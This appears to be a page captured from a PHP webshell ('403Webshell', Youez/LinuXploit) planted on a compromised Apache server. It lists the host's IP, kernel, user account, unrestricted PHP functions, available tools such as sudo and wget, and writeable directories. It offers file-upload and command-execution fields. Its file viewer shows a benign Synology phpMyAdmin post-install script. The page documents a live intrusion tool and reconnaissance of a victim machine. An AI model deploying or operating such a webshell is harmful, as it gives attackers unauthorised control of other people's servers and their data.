403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/phpMyAdmin/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/phpMyAdmin/scripts/postinst
#!/bin/bash
# Copyright (c) 2000-2017 Synology Inc. All rights reserved.

. "$(dirname "$0")"/common

CustomPostinst

RemoveHandler()
{
	local handler_flag="Synology PHP"
	# remove legacy php-fpm setting in .htaccess (check wordpress v0140 or earilier)
	for htaccess in .htaccess .htaccess.syno; do
		if [ -s "$WEBSITE_ROOT/$htaccess" ]; then
			sed -i "/$handler_flag/,/$handler_flag/d" "$WEBSITE_ROOT/$htaccess"
		fi
	done
}

MoveLegacyBackupDataToDSM7BackupPath()
{
	local dsm7_backup_path="$(GetBackupPath)"
	if [ -e "$dsm7_backup_path" ]; then
		return
	fi

	local legacy_backup_path="$(GetLegacyBackupDataPrefix)"
	if [ -z "$legacy_backup_path" ] || [ ! -e "$legacy_backup_path" ]; then
		return
	fi

	echo "migrate legacy backup data in [${legacy_backup_path}] to DSM backup path"
	mv "$legacy_backup_path" "${dsm7_backup_path}"
	CustomMoveLegacyBackupWebDir "$dsm7_backup_path"
}

MoveLegacyBackupDataToDSM7BackupPath

if [ "$SYNOPKG_PKG_STATUS" = "UPGRADE" ]; then
	InitBackupPath

	DB_NAME=$(CustomGetDBName "$BACKUP_WEB_PATH")
	DB_USER=$(CustomGetDBUser "$BACKUP_WEB_PATH")
	DB_USER_PASS=$(CustomGetDBPass "$BACKUP_WEB_PATH")

	# Restore
	if CustomHasRunWebsiteSetup "$BACKUP_WEB_PATH"; then
		CustomChangeDBUserInfo "$BACKUP_WEB_PATH" "$DB_USER" "$DB_USER_PASS"

		CustomRestoreUpgrade
		CustomUseUnixSocket
		RemoveHandler
	else
		CustomSetCleanNew
	fi
	chown -R $PKG_NAME:http      "$WEBSITE_ROOT"
	chown -R $PKG_NAME:$PKG_NAME "$(GetBackupPath)"
else
	# New install
	DB_NAME="$pkgwizard_db_name"
	DB_USER="$pkgwizard_db_user_account"
	DB_USER_PASS="$pkgwizard_db_user_password"
	CustomNewInst
fi

# Set initial install setting values
CustomSetInit

# Write synology.conf
echo "db_name=$DB_NAME" > "$INFO_FILE.tmp"
echo "db_user=$DB_USER" >> "$INFO_FILE.tmp"
CustomWriteInfo "$INFO_FILE.tmp" "$INFO_FILE"
mv "$INFO_FILE.tmp" "$INFO_FILE"
chown $PKG_NAME:$PKG_NAME "$INFO_FILE"

CustomRemoveBackupConf

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit